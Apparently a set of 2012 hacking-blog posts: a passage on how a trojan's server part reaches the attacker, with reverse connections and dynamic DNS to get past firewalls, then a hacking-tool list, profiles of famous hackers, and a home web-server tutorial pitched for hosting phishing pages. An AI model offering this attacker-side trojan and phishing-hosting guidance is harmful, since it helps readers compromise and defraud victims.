1. Direct Connection : In this method, after the server part has been installed on victim's machine, the attacker enters the public IP address assigned to victim's computer for making a connection to it. But limitations of direct connection is that public IP address is most probably dynamic and gets changed everytime one disconnects and reconnects. So attacker needs to find out IP address of victim each time.Moreover the incoming connection like this is usually restricted by firewall.

The main limitation of direct connection is that you can not access the victim who is behind a router or a network beacuse victim's machine is not assigned public/external/wan IP. It is only assigned private/internal/lan IP which is useless or meaningless for computers outside that network.The wan IP belongs to his router.

It doesnt matter how attacker is connected to internet. Attacker can be connected to internet any of three means.

Victim is behind a router in this case. (havent inserted the picture of victim behind a network, imagine that )

2. Reverse Connection: In this method, attacker enters his own IP address in server part while configuring it .So when the server part is installed on victim's computer, it automatically makes connection with client part that is attacker. Also the firewall in victim's machine would not restrict to outgoing connections. Problem in this case is same that attacker's IP is also dynamic. But this can be over come easily. Attacker actually enters a domain name in server part which always points to his dynamic IP.

Reverse connection can bypass a router or a network.

You might be confused at this point. Kindly mention your queries/doubts in comments.

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Top 10 Security/Hacking Tools & Utilities

2012-04-20T16:55:00.002-07:00

1. Nmap

I think everyone has heard of this one, recently evolved into the 4.x series.

Nmap (“Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Get nmap here

2. Nessus Remote Security Scanner

Recently went closed source, but is still essentially free. Works with a client-server framework.

Nessus is the world’s most popular vundra vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

Get Nessus here

3. John the Ripper

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

Get JTR here

4. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).

Get Nikto here

5. SuperScan

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.

If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

Get SuperScan here

6. p0f

P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:

– machines that connect to your box (SYN mode),
– machines you connect to (SYN+ACK mode),
– machine you cannot connect to (RST+ mode),
– machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.

Get P0F here

7. Wireshark (Formely Ethereal)

Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.

Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

Get Wireshark here

8. Yersinia

Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

The best Layer 2 kit there is.

Get Yersinia here

9. Eraser

Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free software and its source code is released under GNU General Public License.

An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.

Get Eraser here

10. PuTTY

PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an xterm terminal emulator. A must have for any h4x0r wanting to telnet or SSH from Windows without having to use the crappy default MS command line clients.

Get Putty here

Top 10 Most Famous Hackers of All Time

2012-04-20T10:21:00.000-07:00

The portrayal of hackers in the media has ranged from the high-tech super-spy, as in Mission Impossible where Ethan Hunt repels from the ceiling to hack the CIA computer system and steal the "NOC list," to the lonely anti-social teen who is simply looking for entertainment.
The reality, however, is that hackers are a very diverse bunch, a group simultaneously blamed with causing billions of dollars in damages as well as credited with the development of the World Wide Web and the founding of major tech companies. In this article, we test the theory that truth is better than fiction by introducing you to ten of the most famous hackers, both nefarious and heroic, to let you decide for yourself.
Black Hat Crackers
The Internet abounds with hackers, known as crackers or "black hats," who work to exploit computer systems. They are the ones you've seen on the news being hauled away for cybercrimes. Some of them do it for fun and curiosity, while others are looking for personal gain. In this section we profile five of the most famous and interesting "black hat" hackers.

Jonathan James: James gained notoriety when he became the first juvenile to be sent to prison for hacking. He was sentenced at 16 years old. In an anonymous PBS interview, he professes, "I was just looking around, playing around. What was fun for me was a challenge to see what I could pull off."
James's major intrusions targeted high-profile organizations. He installed a backdoor into a Defense Threat Reduction Agency server. The DTRA is an agency of the Department of Defense charged with reducing the threat to the U.S. and its allies from nuclear, biological, chemical, conventional and special weapons. The backdoor he created enabled him to view sensitive emails and capture employee usernames and passwords.
James also cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of Justice, "The software supported the International Space Station's physical environment, including control of the temperature and humidity within the living space." NASA was forced to shut down its computer systems, ultimately racking up a $41,000 cost. James explained that he downloaded the code to supplement his studies on C programming, but contended, "The code itself was crappy . . . certainly not worth $1.7 million like they claimed."
Given the extent of his intrusions, if James, also known as "c0mrade," had been an adult he likely would have served at least 10 years. Instead, he was banned from recreational computer use and was slated to serve a six-month sentence under house arrest with probation. However, he served six months in prison for violation of parole. Today, James asserts that he's learned his lesson and might start a computer security company.
Adrian Lamo: Lamo's claim to fame is his break-ins at major organizations like The New York Times and Microsoft. Dubbed the "homeless hacker," he used Internet connections at Kinko's, coffee shops and libraries to do his intrusions. In a profile article, "He Hacks by Day, Squats by Night," Lamo reflects, "I have a laptop in Pittsburgh, a change of clothes in D.C. It kind of redefines the term multi-jurisdictional."
Lamo's intrusions consisted mainly of penetration testing, in which he found flaws in security, exploited them and then informed companies of their shortcomings. His hits include Yahoo!, Bank of America, Citigroup and Cingular. When white hat hackers are hired by companies to do penetration testing, it's legal. What Lamo did is not.
When he broke into The New York Times' intranet, things got serious. He added himself to a list of experts and viewed personal information on contributors, including Social Security numbers. Lamo also hacked into The Times' LexisNexis account to research high-profile subject matter.
For his intrusion at The New York Times, Lamo was ordered to pay approximately $65,000 in restitution. He was also sentenced to six months of home confinement and two years of probation, which expired January 16, 2007. Lamo is currently working as an award-winning journalist and public speaker.
Kevin Mitnick: A self-proclaimed "hacker poster boy," Mitnick went through a highly publicized pursuit by authorities. His mischief was hyped by the media but his actual offenses may be less notable than his notoriety suggests. The Department of Justice describes him as "the most wanted computer criminal in United States history." His exploits were detailed in two movies: Freedom Downtime and Takedown.
Mitnick had a bit of hacking experience before committing the offenses that made him famous. He started out exploiting the Los Angeles bus punch card system to get free rides. Then, like Apple co-founder Steve Wozniak, dabbled in phone phreaking. Although there were numerous offenses, Mitnick was ultimately convicted for breaking into the Digital Equipment Corporation's computer network and stealing software.
Mitnick's mischief got serious when he went on a two and a half year "coast-to-coast hacking spree." The CNN article, "Legendary computer hacker released from prison," explains that "he hacked into computers, stole corporate secrets, scrambled phone networks and broke into the national defense warning system." He then hacked into computer expert and fellow hacker Tsutomu Shimomura's home computer, which led to his undoing.
Today, Mitnick has been able to move past his role as a black hat hacker and become a productive member of society. He served five years, about 8 months of it in solitary confinement, and is now a computer security consultant, author and speaker.
Kevin Poulsen: Also known as Dark Dante, Poulsen gained recognition for his hack of LA radio's KIIS-FM phone lines, which earned him a brand new Porsche, among other items. Law enforcement dubbed him "the Hannibal Lecter of computer crime."
Authorities began to pursue Poulsen after he hacked into a federal investigation database. During this pursuit, he further drew the ire of the FBI by hacking into federal computers for wiretap information.
His hacking specialty, however, revolved around telephones. Poulsen's most famous hack, KIIS-FM, was accomplished by taking over all of the station's phone lines. In a related feat, Poulsen also "reactivated old Yellow Page escort telephone numbers for an acquaintance who then ran a virtual escort agency." Later, when his photo came up on the show Unsolved Mysteries, 1-800 phone lines for the program crashed. Ultimately, Poulsen was captured in a supermarket and served a sentence of five years.
Since serving time, Poulsen has worked as a journalist. He is now a senior editor for Wired News. His most prominent article details his work on identifying 744 sex offenders with MySpace profiles.
Robert Tappan Morris: Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act.
Morris wrote the code for the worm while he was a student at Cornell. He asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively, slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years' probation, 400 hours of community service and a fined $10,500.
Morris is currently working as a tenured professor at the MIT Computer Science and Artificial Intelligence Laboratory. He principally researches computer network architectures including distributed hash tables such as Chord and wireless mesh networks such as Roofnet.

White Hat Hackers
Hackers that use their skills for good are classified as "white hat." These white hats often work as certified "Ethical Hackers," hired by companies to test the integrity of their systems. Others, operate without company permission by bending but not breaking laws and in the process have created some really cool stuff. In this section we profile five white hat hackers and the technologies they have developed.

Stephen Wozniak: "Woz" is famous for being the "other Steve" of Apple. Wozniak, along with current Apple CEO Steve Jobs, co-founded Apple Computer. He has been awarded with the National Medal of Technology as well as honorary doctorates from Kettering University and Nova Southeastern University. Additionally, Woz was inducted into the National Inventors Hall of Fame in September 2000.
Woz got his start in hacking making blue boxes, devices that bypass telephone-switching mechanisms to make free long-distance calls. After reading an article about phone phreaking in Esquire, Wozniak called up his buddy Jobs. The pair did research on frequencies, then built and sold blue boxes to their classmates in college. Wozniak even used a blue box to call the Pope while pretending to be Henry Kissinger.
Wozniak dropped out of college and came up with the computer that eventually made him famous. Jobs had the bright idea to sell the computer as a fully assembled PC board. The Steves sold Wozniak's cherished scientific calculator and Jobs' VW van for capital and got to work assembling prototypes in Jobs' garage. Wozniak designed the hardware and most of the software. In the Letters section of Woz.org, he recalls doing "what Ed Roberts and Bill Gates and Paul Allen did and tons more, with no help." Wozniak and Jobs sold the first 100 of the Apple I to a local dealer for $666.66 each.
Woz no longer works full time for Apple, focusing primarily on philanthropy instead. Most notable is his function as fairy godfather to the Los Gatos, Calif. School District. "Wozniak 'adopted' the Los Gatos School District, providing students and teachers with hands-on teaching and donations of state-of-the-art technology equipment."
Tim Berners-Lee: Berners-Lee is famed as the inventor of the World Wide Web, the system that we use to access sites, documents and files on the Internet. He has received numerous recognitions, most notably the Millennium Technology Prize.
While a student at Oxford University, Berners-Lee was caught hacking access with a friend and subsequently banned from University computers. w3.org reports, "Whilst [at Oxford], he built his first computer with a soldering iron, TTL gates, an M6800 processor and an old television." Technological innovation seems to have run in his genes, as Berners-Lee's parents were mathematicians who worked on the Manchester Mark1, one of the earliest electronic computers.
While working with CERN, a European nuclear research organization, Berners-Lee created a hypertext prototype system that helped researchers share and update information easily. He later realized that hypertext could be joined with the Internet. Berners-Lee recounts how he put them together: "I just had to take the hypertext idea and connect it to the TCP and DNS ideas and – ta-da! – the World Wide Web."
Since his creation of the World Wide Web, Berners-Lee founded the World Wide Web Consortium at MIT. The W3C describes itself as "an international consortium where Member organizations, a full-time staff and the public work together to develop Web standards." Berners-Lee's World Wide Web idea, as well as standards from the W3C, is distributed freely with no patent or royalties due.
Linus Torvalds: Torvalds fathered Linux, the very popular Unix-based operating system. He calls himself "an engineer," and has said that his aspirations are simple, "I just want to have fun making the best damn operating system I can."
Torvalds got his start in computers with a Commodore VIC-20, an 8-bit home computer. He then moved on to a Sinclair QL. Wikipedia reports that he modified the Sinclair "extensively, especially its operating system." Specifically, Torvalds hacks included "an assembler and a text editor…as well as a few games."
Torvalds created the Linux kernel in 1991, using the Minix operating system as inspiration. He started with a task switcher in Intel 80386 assembly and a terminal driver. After that, he put out a call for others to contribute code, which they did. Currently, only about 2 percent of the current Linux kernel is written by Torvalds himself. The success of this public invitation to contribute code for Linux is touted as one of the most prominent examples of free/open source software.
Currently, Torvalds serves as the Linux ringleader, coordinating the code that volunteer programmers contribute to the kernel. He has had an asteroid named after him and received honorary doctorates from Stockholm University and University of Helsinki. He was also featured in Time Magazine's "60 Years of Heroes."
Richard Stallman: Stallman's fame derives from the GNU Project, which he founded to develop a free operating system. For this, he's known as the father of free software. His "Serious Bio" asserts, "Non-free software keeps users divided and helpless, forbidden to share it and unable to change it. A free operating system is essential for people to be able to use computers in freedom."
Stallman, who prefers to be called rms, got his start hacking at MIT. He worked as a "staff hacker" on the Emacs project and others. He was a critic of restricted computer access in the lab. When a password system was installed, Stallman broke it down, resetting passwords to null strings, then sent users messages informing them of the removal of the password system.
Stallman's crusade for free software started with a printer. At the MIT lab, he and other hackers were allowed to modify code on printers so that they sent convenient alert messages. However, a new printer came along – one that they were not allowed to modify. It was located away from the lab and the absence of the alerts presented an inconvenience. It was at this point that he was "convinced…of the ethical need to require free software."
With this inspiration, he began work on GNU. Stallman wrote an essay, "The GNU Project," in which he recalls choosing to work on an operating system because it's a foundation, "the crucial software to use a computer." At this time, the GNU/Linux version of the operating system uses the Linux kernel started by Torvalds. GNU is distributed under "copyleft," a method that employs copyright law to allow users to use, modify, copy and distribute the software.
Stallman's life continues to revolve around the promotion of free software. He works against movements like Digital Rights Management (or as he prefers, Digital Restrictions Management) through organizations like Free Software Foundation and League for Programming Freedom. He has received extensive recognition for his work, including awards, fellowships and four honorary doctorates.
Tsutomu Shimomura: Shimomura reached fame in an unfortunate manner: he was hacked by Kevin Mitnick. Following this personal attack, he made it his cause to help the FBI capture him.
Shimomura's work to catch Mitnick is commendable, but he is not without his own dark side. Author Bruce Sterling recalls: "He pulls out this AT&T cellphone, pulls it out of the shrinkwrap, finger-hacks it, and starts monitoring phone calls going up and down Capitol Hill while an FBI agent is standing at his shoulder, listening to him."
Shimomura out-hacked Mitnick to bring him down. Shortly after finding out about the intrusion, he rallied a team and got to work finding Mitnick. Using Mitnick's cell phone, they tracked him near Raleigh-Durham International Airport. The article, "SDSC Computer Experts Help FBI Capture Computer Terrorist" recounts how Shimomura pinpointed Mitnick's location. Armed with a technician from the phone company, Shimomura "used a cellular frequency direction-finding antenna hooked up to a laptop to narrow the search to an apartment complex." Mitnick was arrested shortly thereafter. Following the pursuit, Shimomura wrote a book about the incident with journalist John Markoff, which was later turned into a movie.

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Setting Webserver- Host Webpages on your own computer

2012-04-20T08:17:00.000-07:00

Have you ever wondered to setup a website without signing up at any web hosting site ? Learning web site designing and wanna keep testing how your web pages look? Free Web hosting sites removing you phishing pages ?

So solution to such kinda things is in this post. Basically we are going to turn our pc to a server.

What is a server ?

Server is we can say, any computer that is serving something . Like webserver serves webpages, ftp server serves files. Any computer can be turned into a server by simply installing a server software. In this post,

I am using XAMPP . By installing this, contents of a particular directory of our computer would accessible all over internet . Means one could access those contents from any part of the world through our Public IP address.

You can place your web pages or whatever you wish in that directory.

Download XAMPP from here. This package consists of Apache http server (A), MySQL database (M), php (P),Perl (P) and X represents cross platforms.

After dowloading it, simply install it .

At last stage on installation you will get this . Press 1 to start XAMPP control panel.

The control panel would look like this

Click Start to start apache server. Now lets check whether its working,

Open your web browser and visit your local machine address that is 127.0.0.1 or localhost. Hopefully you must get the XAMPP page as shown.

Now check whether it is accessible on internet. Type your Public/External Ip in your web browser and hit enter.

If you got a page as shown, follow the instructions :

1. Go to file httpd-xampp.conf

2. Remove "deny from all" and save the file.

3. Now restart the server and hopefully it would be all right now.

Now what ?

There must be a directory 'htdocs' at location C:\xampp\. The contents of this particular directory will be available to every body. Suppose you place a file anything.html in 'htdocs' directory. It would be accessible at

1.http://localhost/anything.html or http://127.0.0.1/anything.html

( Obviously above two links gonna work on your own computer only.)

2.http://xxx.xxx.xxx.xxx/anything.html (where xxx.xxx.xxx.xxx is your IP address)

You can start/stop this service simply through the control panel.

Thats all. And you have also use Filezilla(ftp server software) and Mysql (database) as per your need.

Get a domain name ?
Now you would want to get a domain name instead of using the Public IP to check out your contents.
But how can we get a domain name because our IP is dynamic and to which IP domain name would point ?
Dont worry, we have a solution.
1. Log on to www.no-ip.com and sign up for an account. Choose available domain name.
2. Download their dynamic DNS update client and run on PC.

This client would automatically keep updating your dynamic IP address and that is how the selected domain would always be pointing to your IP address.

Note: You might need do port forwarding if you are behind a router. Kindly mention the queries regarding that in comments.